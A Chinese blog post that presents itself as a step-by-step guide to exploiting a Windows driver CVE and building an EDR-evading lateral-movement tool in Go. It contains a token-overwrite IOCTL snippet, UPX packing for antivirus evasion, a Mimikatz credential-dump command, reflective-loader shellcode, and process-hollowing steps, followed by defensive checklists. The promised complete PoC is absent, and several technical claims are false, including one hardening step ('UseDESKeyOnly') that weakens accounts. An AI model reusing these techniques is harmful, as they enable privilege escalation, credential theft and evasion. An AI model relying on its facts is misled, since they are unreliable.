Posted in

手把手复现CVE-2024-XXXX:用300行Go代码写出可绕过EDR的横向移动工具(附完整PoC源码)

第一章:CVE-2024-XXXX漏洞原理与EDR绕过机制综述

CVE-2024-XXXX 是一个影响主流 Windows 内核驱动(如某厂商 avsysdrv.sys)的本地提权漏洞,根源在于驱动对用户态传入的 IOCTL 输入缓冲区执行边界检查缺失,导致可控的内核池溢出。攻击者可构造特制的 DeviceIoControl 调用,在 IRP_MJ_DEVICE_CONTROL 处理路径中触发越界写入,覆盖相邻内核对象(如 TOKENEPROCESS 结构体字段),从而实现 SYSTEM 权限提升。

漏洞触发核心条件

  • 目标系统加载存在缺陷的驱动版本(v23.1.0–v23.3.2);
  • 攻击进程具备 SeLoadDriverPrivilege(通常普通用户已默认拥有);
  • 驱动未启用 SMAP/SMEP 保护且未启用内核栈 Cookie(KCFG);

EDR绕过协同设计

该漏洞常与“无文件内存反射”技术配合规避EDR监控:

  • 利用溢出劫持执行流至用户空间映射的 shellcode(通过 NtAllocateVirtualMemory + PAGE_EXECUTE_READWRITE);
  • Shellcode 采用 Direct Syscall 替代 ntdll.dll API 调用,绕过API钩子;
  • 关键操作(如进程注入)使用 NtCreateThreadExTHREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 标志隐藏线程。

实际利用片段示例

// 构造溢出 payload:覆盖目标 TOKEN 的 Privileges.Present 字段为 0xFFFFFFFFFFFFFFFF
DWORD64 payload[16] = {0};
payload[0] = 0x123456789ABCDEF0ULL; // 覆盖目标地址(如 token->Privileges.Present)
payload[1] = 0xFFFFFFFFFFFFFFFFULL; // 全权限位掩码

HANDLE hDevice = CreateFileA("\\\\.\\AvSysDrv", GENERIC_READ | GENERIC_WRITE,
                             0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(hDevice, 0x222023, payload, sizeof(payload), NULL, 0, &dwRet, NULL);
// 成功后当前进程将获得 SeDebugPrivilege、SeTcbPrivilege 等高危权限

常见EDR检测盲区对照表

检测维度 传统规则是否触发 绕过原因
NtWriteVirtualMemory 调用 未调用该API,全程使用内核溢出修改结构体
CreateRemoteThread 权限提升后直接执行本地 shellcode,无需远程线程
驱动加载日志 利用已签名合法驱动,非新驱动加载

第二章:Go语言渗透工具开发基础与安全编码规范

2.1 Go内存模型与syscall原生调用实践

Go内存模型定义了goroutine间共享变量的可见性与执行顺序约束,sync/atomicmemory barrier是保障正确性的底层基石。

数据同步机制

使用atomic.LoadUint64读取计数器可避免竞态,其底层插入MOVLQZX+LOCK XADDQ指令序列,确保缓存一致性。

syscall调用实践

// 获取当前进程PID(不依赖os包)
pid, _, _ := syscall.Syscall(syscall.SYS_GETPID, 0, 0, 0)
fmt.Printf("PID: %d\n", int(pid))

Syscall直接触发x86-64 SYSCALL指令:参数通过RAX(系统调用号)、RDI/RSI/RDX传入,返回值存于RAX;错误码在RDX(需检查_是否非零)。

调用方式 安全性 性能开销 适用场景
os.Getpid() 应用层通用逻辑
syscall.Syscall 极低 性能敏感内核交互
graph TD
    A[Go代码] --> B[syscall.Syscall]
    B --> C[陷入内核态]
    C --> D[执行sys_getpid]
    D --> E[返回用户态]
    E --> F[解析RAX结果]

2.2 Windows API封装与结构体布局逆向验证

在底层开发中,精确还原Windows SDK未公开结构体的内存布局是API封装可靠性的基石。常通过sizeofoffsetof与调试器内存快照交叉验证。

结构体偏移校验示例

以下为_TOKEN_PRIVILEGES手动定义与官方布局比对:

// 手动逆向定义(x64)
typedef struct _TOKEN_PRIVILEGES {
    DWORD PrivilegeCount;           // offset 0x00
    LUID  Privileges[ANYSIZE_ARRAY]; // offset 0x08 → 验证:sizeof(DWORD)=4, 对齐后起始为0x08
} TOKEN_PRIVILEGES;

逻辑分析DWORD占4字节,但结构体默认按8字节对齐(x64),故Privileges数组地址 = 0 + align(4, 8) = 0x08;该偏移经WinDbg dt nt!_TOKEN_PRIVILEGES确认无误。

常见结构对齐对照表

结构体 字段类型 实际偏移 对齐要求
_SECURITY_DESCRIPTOR BYTE Revision 0x00 1
BYTE Sbz1 0x01 1
USHORT Control 0x02 2

内存布局验证流程

graph TD
    A[获取API调用前后内存快照] --> B[定位结构体首地址]
    B --> C[逐字段dump原始字节]
    C --> D[比对sizeof/offsetof推导]
    D --> E[确认字段语义与文档一致]

2.3 PE文件解析与Shellcode注入点动态定位

PE文件结构中,.text节通常具备可执行(IMAGE_SCN_MEM_EXECUTE)与可写(IMAGE_SCN_MEM_WRITE)双重属性,是Shellcode注入的高价值目标。动态定位需绕过静态节名依赖,转向基于内存权限与代码特征的实时判定。

权限驱动的节区筛选逻辑

// 遍历节表,筛选满足 EXEC+WRITE 的节
for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
    IMAGE_SECTION_HEADER* sec = &sectionHeaders[i];
    if ((sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
        (sec->Characteristics & IMAGE_SCN_MEM_WRITE)) {
        candidateRVA = sec->VirtualAddress; // 注入点候选RVA
        break;
    }
}

该逻辑跳过硬编码节名(如”.text”),仅依据IMAGE_SECTION_HEADER.Characteristics标志位组合判断——确保兼容加壳、重命名或自定义节场景。

常见可执行节权限组合对照表

节名 MEM_EXECUTE MEM_WRITE 是否适合注入
.text 否(不可写)
.data 否(不可执行)
.rsrc
CODE

动态定位流程

graph TD
    A[读取PE头] --> B[遍历节表]
    B --> C{Characteristics &<br>EXEC && WRITE?}
    C -->|是| D[提取VirtualAddress<br>作为RVA基址]
    C -->|否| B
    D --> E[计算内存绝对地址<br>并验证页保护]

2.4 EDR Hook检测与反Hook绕过技术实现

EDR(Endpoint Detection and Response)常通过SSDT、IAT、EAT或Inline Hook注入监控逻辑,绕过需先识别钩子特征。

Hook存在性验证

通过比对原始函数字节与内存中实际指令差异判断Inline Hook:

// 检查NtCreateProcessEx前5字节是否为jmp rel32
BYTE original[5], patched[5];
ReadProcessMemory(hProc, addr, patched, 5, NULL);
GetOriginalBytes("ntdll.dll", "NtCreateProcessEx", original, 5);
bool is_hooked = memcmp(original, patched, 5) != 0;

addr为导出函数地址;GetOriginalBytes从磁盘PE解析原始字节,规避内存映像被重定向干扰。

常见Hook位置对比

位置类型 检测方式 绕过难度
SSDT 比对KiServiceTable与备份表
IAT 遍历模块导入表指针有效性
Inline 指令模式匹配(jmp/call)

绕过流程示意

graph TD
    A[枚举目标API地址] --> B[读取内存前16字节]
    B --> C{是否含jmp/call rel32?}
    C -->|是| D[定位跳转目标并直接调用]
    C -->|否| E[直调原地址]

2.5 Go交叉编译与UPX免杀混淆实战

Go 原生支持跨平台编译,无需虚拟机或额外依赖。以下命令可直接构建 Windows 可执行文件:

GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o payload.exe main.go

-s -w 去除符号表与调试信息,减小体积并增加静态分析难度;GOOS/GOARCH 控制目标平台,常见组合包括 linux/arm64darwin/amd64

UPX 进一步压缩与混淆二进制:

upx --ultra-brute payload.exe

--ultra-brute 启用最强压缩策略,同时触发多层壳逻辑,显著干扰 AV 的静态特征匹配。

典型交叉编译目标平台对照表:

目标系统 GOOS GOARCH 典型用途
Windows windows amd64 红队投递载荷
Linux linux arm64 IoT 渗透测试
macOS darwin amd64 桌面环境持久化

混淆流程示意(简化):

graph TD
    A[Go源码] --> B[go build 交叉编译]
    B --> C[原始PE/ELF]
    C --> D[UPX压缩+加壳]
    D --> E[混淆后可执行体]

第三章:横向移动核心模块设计与实现

3.1 基于SMB/WinRM协议的凭证窃取与重放模块

该模块聚焦于Windows域环境中协议层的横向移动链路,利用SMB会话协商与WinRM认证过程中的凭证残留特性实现非交互式提权。

协议交互时序关键点

  • SMBv2 SessionSetup阶段可捕获NTLMv2哈希(若未启用Signing)
  • WinRM over HTTP(S) 的Basic/NTLM认证头中可能泄露明文或Base64编码凭据

凭证提取流程

# 从内存中提取WinRM服务进程的认证缓存(需SeDebugPrivilege)
$proc = Get-Process winrm -ErrorAction SilentlyContinue
if ($proc) {
    Invoke-Mimikatz -Command "sekurlsa::logonpasswords" | 
        Select-String -Pattern "winrm|ntlm|kerberos"
}

此命令调用Mimikatz枚举所有登录会话,筛选含winrm关键字的凭据条目;依赖本地管理员权限及未启用LSA保护(LSASS protection disabled)。

支持的重放方式对比

协议 重放目标 是否需票据加密密钥 适用场景
SMB 共享访问/IPC$ 内网文件系统横向渗透
WinRM PowerShell远程会话 否(NTLM)/是(Kerberos) 远程命令执行与持久化
graph TD
    A[捕获SMB/WinRM认证流量] --> B{解析NTLMv2/Basic Auth}
    B --> C[提取Hash/明文凭据]
    C --> D[本地缓存或实时重放]
    D --> E[SMB挂载共享]
    D --> F[WinRM Invoke-Command]

3.2 进程注入与反射式DLL加载的Go原生实现

Go 语言虽无 WinAPI 内置支持,但通过 syscallunsafe 可直接调用 Windows 底层接口实现进程注入。

核心步骤概览

  • 打开目标进程(OpenProcess
  • 分配远程内存(VirtualAllocEx
  • 写入 Shellcode 或反射加载器(WriteProcessMemory
  • 创建远程线程执行(CreateRemoteThread

反射式DLL加载关键结构

字段 类型 说明
pLoadLibraryA uintptr kernel32.LoadLibraryA 地址
pDllBuffer *byte DLL 原始字节数据起始地址
dwDllSize uint32 DLL 映像大小
// 反射加载器入口 stub(x64)
func reflectLoader() []byte {
    return []byte{
        0x48, 0x89, 0xc4, // mov rsp, rax
        0x48, 0x83, 0xec, 0x28, // sub rsp, 40
        0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, pLoadLibraryA
        0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, pDllBuffer
        0xff, 0xd0, // call rax
        0xc3, // ret
    }
}

该 shellcode 将 LoadLibraryA 地址与 DLL 内存地址硬编码注入,执行后在目标进程中完成无文件 DLL 加载。r8–r15 寄存器未保存,适用于短生命周期注入场景。

graph TD
    A[读取DLL文件] --> B[分配远程内存]
    B --> C[写入DLL字节+反射加载器]
    C --> D[解析LoadLibraryA地址]
    D --> E[patch shellcode 中的函数/数据指针]
    E --> F[CreateRemoteThread触发执行]

3.3 无文件执行路径(AtomBombing/Process Hollowing)适配

无文件攻击技术正持续演进,AtomBombing 利用 Windows 原子表实现代码注入,而 Process Hollowing 则通过合法进程内存替换规避检测。

AtomBombing 核心流程

// 将 shellcode 写入全局原子表(无需文件落地)
ATOM atom = GlobalAddAtomA("SHELLCODE_PAYLOAD");
// 后续在目标进程中通过 GetAtomNameA 提取并执行

GlobalAddAtomA 将 payload 注册为全局原子项,绕过传统 PE 文件扫描;atom 返回唯一标识符,供远程线程调用 GetAtomNameA 动态读取。

Process Hollowing 关键步骤

  • 创建挂起的合法进程(如 svchost.exe
  • 清空其内存空间(NtUnmapViewOfSection
  • 写入恶意代码(WriteProcessMemory
  • 重设入口点并恢复线程
技术 检测难度 内存特征 典型 API
AtomBombing 原子表异常增长 GlobalAddAtomA, GetAtomNameA
Process Hollowing 中高 内存页权限突变 NtUnmapViewOfSection, WriteProcessMemory
graph TD
    A[启动合法进程] --> B[挂起主线程]
    B --> C[清空映像内存]
    C --> D[写入恶意PE]
    D --> E[修复IAT/重定位]
    E --> F[恢复执行]

第四章:PoC完整构建与真实环境对抗测试

4.1 多阶段载荷调度器与C2通信协议轻量实现

多阶段载荷调度器将任务生命周期划分为预加载、校验、注入、执行四态,显著降低内存驻留时长与网络暴露面。

数据同步机制

采用心跳驱动的增量同步策略,仅传输变更指令ID与加密载荷哈希:

def sync_payloads(c2_url, pending_ids):
    # pending_ids: list[str], e.g. ["pl-001", "pl-003"]
    payload = {"ids": pending_ids, "ts": int(time.time())}
    resp = requests.post(f"{c2_url}/sync", json=payload, timeout=3)
    return resp.json().get("payloads", [])  # 返回完整载荷字节流列表

pending_ids 减少带宽开销;ts 用于服务端幂等去重;响应体直接返回AES-GCM密文,避免二次拉取。

协议帧结构

字段 长度(字节) 说明
Magic 2 0x4D5A(MZ标识)
Stage 1 0=预加载, 1=校验, 2=执行
PayloadLen 4 网络字节序

调度状态流转

graph TD
    A[预加载] -->|校验通过| B[待注入]
    B -->|内存映射成功| C[就绪执行]
    C -->|完成/超时| D[清理]

4.2 EDR行为监控日志分析与规避策略迭代

EDR系统通过内核钩子与用户态API拦截捕获进程创建、文件写入、内存注入等高危行为,日志字段包含process_pathcmdlineparent_pidsignature_status等关键维度。

日志特征提取示例

import re
# 提取可疑无文件执行特征:PowerShell -EncodedCommand + 内存加载
pattern = r'powershell\.exe.*-EncodedCommand\s+[A-Za-z0-9+/]{100,}'
log_entry = "2024-03-15T10:22:31Z pid=1248 cmd='powershell.exe -EncodedCommand SQBmACAA...' signature_status=unsigned"
if re.search(pattern, log_entry):
    print("ALERT: Encoded PowerShell execution detected")

该正则匹配长度≥100字符的Base64编码段,规避简单字符串匹配易被混淆绕过的缺陷;-EncodedCommand参数是无文件攻击典型载体,结合signature_status=unsigned可提升检出置信度。

常见规避手法与响应映射

规避技术 EDR日志异常模式 对应加固策略
进程空心化 parent_pid异常继承链 启用父进程签名链验证
DLL侧加载 LoadLibraryEx + 内存映射 监控MEM_COMMIT|MEM_RESERVE组合标志
graph TD
    A[原始日志流] --> B{规则引擎匹配}
    B -->|命中| C[生成IOA事件]
    B -->|未命中| D[送入轻量级ML模型]
    D --> E[动态更新行为基线]
    C --> F[触发策略迭代]

4.3 内网穿透与代理链构建(SOCKS5 over Named Pipe)

在受限环境中,传统 TCP 隧道易被防火墙拦截。利用 Windows 命名管道(Named Pipe)承载 SOCKS5 协议,可绕过网络层检测,实现隐蔽的内网穿透。

核心优势

  • 无网络端口暴露,仅依赖本地 IPC 机制
  • 天然支持 Windows 服务上下文切换与权限继承
  • 可嵌套于合法进程(如 svchost.exe)中运行

通信流程

graph TD
    A[客户端 SOCKS5 请求] --> B[Pipe Client 连接 \\.\pipe\socks5_tunnel]
    B --> C[Pipe Server 解析 AUTH/CONNECT 命令]
    C --> D[转发至目标内网服务或下一级代理]

示例管道代理初始化(C#)

// 创建命名管道服务器,启用消息模式与匿名访问
var pipe = new NamedPipeServerStream(
    "socks5_tunnel",           // 管道名,需与客户端一致
    PipeDirection.InOut,       // 全双工通信
    maxNumberOfServerInstances: 10,
    PipeTransmissionMode.Message, // 关键:按 SOCKS5 消息帧边界收发
    PipeOptions.Asynchronous);

逻辑说明:Message 模式确保 0x05 0x01 0x00(SOCKS5 协议头)不被流式拆分;Asynchronous 支持高并发连接;maxNumberOfServerInstances 控制代理链扩展深度。

组件 作用 安全约束
Pipe Client 封装 SOCKS5 请求为管道写入 必须校验服务端 SID
Pipe Server 解析并路由 SOCKS5 流量 启用 SECURITY_ANONYMOUS 会话隔离
中继节点 多级管道串联(A→B→C) 每跳需独立命名空间前缀

4.4 自动化测试框架:模拟Defender ATP/Carbon Black响应

为验证EDR响应逻辑的健壮性,需在CI/CD流水线中复现真实威胁响应行为。以下Python脚本使用pytest-mockresponses库模拟Microsoft Defender ATP的隔离终端API调用:

import responses
import pytest

@responses.activate
def test_defender_isolate_endpoint():
    # 模拟 Defender ATP /api/machines/{id}/isolate 的202响应
    responses.add(
        responses.POST,
        "https://api.securitycenter.windows.com/api/machines/abc123/isolate",
        json={"id": "op-789", "status": "InProgress"},
        status=202,
        content_type="application/json"
    )
    # 调用被测函数(如 trigger_defender_response())
    result = trigger_defender_response("abc123")
    assert result["status"] == "InProgress"

逻辑分析:该测试绕过真实云API,通过responses拦截HTTP请求并返回预设响应体;status=202确保符合Defender ATP异步操作规范;json字段模拟操作ID与初始状态,供后续轮询验证。

核心能力对比

特性 Defender ATP 模拟 Carbon Black 模拟
终端隔离 ✅ 支持 ✅ 支持
进程终止(实时) ⚠️ 需Mock /terminateProcess ✅ 原生支持 /api/v1/event/process/terminate
响应延迟注入 responses.delay=1.5 cbapi.mock.delay()

流程编排示意

graph TD
    A[触发模拟攻击] --> B{选择EDR平台}
    B -->|Defender ATP| C[Mock /isolate + /status]
    B -->|Carbon Black| D[Mock /process/terminate + /sensor/health]
    C --> E[断言响应码与操作ID]
    D --> E

第五章:总结与防御启示

关键攻击链复盘:从钓鱼邮件到域控沦陷

某金融客户真实事件中,攻击者通过伪装成监管机构的PDF附件(内嵌恶意JavaScript)触发Outlook预览窗漏洞(CVE-2023-23397),无需用户点击即可执行PowerShell命令。该命令下载第二阶段载荷——一个经过混淆的.NET程序集,利用System.Management.Automation动态加载C2通信模块,绕过AppLocker白名单策略。整个过程在17秒内完成横向移动至域控制器,期间未触发EDR进程行为告警。

防御有效性对比表

防御措施 检测延迟 误报率 覆盖攻击阶段 实施复杂度
Outlook宏禁用+附件沙箱 2.1% 初始访问、执行
PowerShell脚本块日志+SIEM规则 8–12s 0.4% 执行、持久化
LSASS内存保护(Credential Guard) 即时 0% 凭据转储 高(需UEFI+TPM2.0)
DNS流量异常检测(基于熵值) 45s 1.8% C2通信、数据外泄

攻击者TTPs与MITRE ATT&CK映射验证

flowchart LR
    A[Phishing Attachment] --> B[Exploit CVE-2023-23397]
    B --> C[PowerShell Execution]
    C --> D[Load .NET Assembly]
    D --> E[DCSync via Mimikatz]
    E --> F[Golden Ticket Creation]
    subgraph MITRE_Techniques
        B --> T1203[Exploitation for Client Execution]
        C --> T1059.001[Powershell]
        D --> T1620[Reflective Code Loading]
        E --> T1003.006[DCSync]
        F --> T1558.002[Golden Ticket]
    end

红蓝对抗实战发现的三个盲区

  • Office应用沙箱逃逸:攻击者将恶意代码嵌入Word文档的/word/vbaProject.bin流中,利用VBA工程签名绕过Office 365 ATP的宏检测逻辑;
  • Windows事件日志选择性清除:攻击者使用wevtutil cl security命令后,立即调用auditpol /set /subcategory:"{0CCE922B-69AE-11D9-BED3-505054503030}" /success:disable /failure:disable关闭安全审计子类别,导致日志断层;
  • Azure AD Connect同步服务劫持:通过修改%ProgramFiles%\Microsoft Azure AD Sync\Bin\miiserver.exe.config中的<runtime>节点,注入恶意CLR宿主DLL,实现AD域与云身份的双重控制。

可落地的五项加固指令

  1. 强制启用Set-ExecutionPolicy RemoteSigned -Scope MachinePolicy -Force并配置GPO锁定;
  2. 在域控制器上运行secedit /configure /db secedit.sdb /cfg secure-baseline.inf /areas SECURITYPOLICY应用CIS Level 2基线;
  3. 使用Get-ChildItem HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging | ForEach-Object { Set-ItemProperty $_.PSPath EnableScriptBlockLogging 1 }启用全量脚本块日志;
  4. 部署Sysmon v13.52配置文件,重点启用Rule 1(ProcessCreate)、Rule 3(NetworkConnect)、Rule 12(RegistryEvent);
  5. 对所有域管理员账户启用Set-ADAccountControl -Identity "Admin" -TrustedForDelegation $false -UseDESKeyOnly $true禁用委派并强制DES加密(阻断Kerberoasting)。

威胁狩猎关键IOC提取逻辑

# 从Sysmon日志中提取可疑LSASS内存读取行为
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=10; StartTime=(Get-Date).AddHours(-24)} | 
Where-Object { $_.Properties[2].Value -match "lsass\.exe" -and $_.Properties[3].Value -gt 1048576 } |
Select-Object TimeCreated, @{Name="TargetProcess";Expression={$_.Properties[2].Value}}, @{Name="BytesRead";Expression={$_.Properties[3].Value}} |
Export-Csv -Path "lsass-memory-access.csv" -NoTypeInformation

记录 Golang 学习修行之路,每一步都算数。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注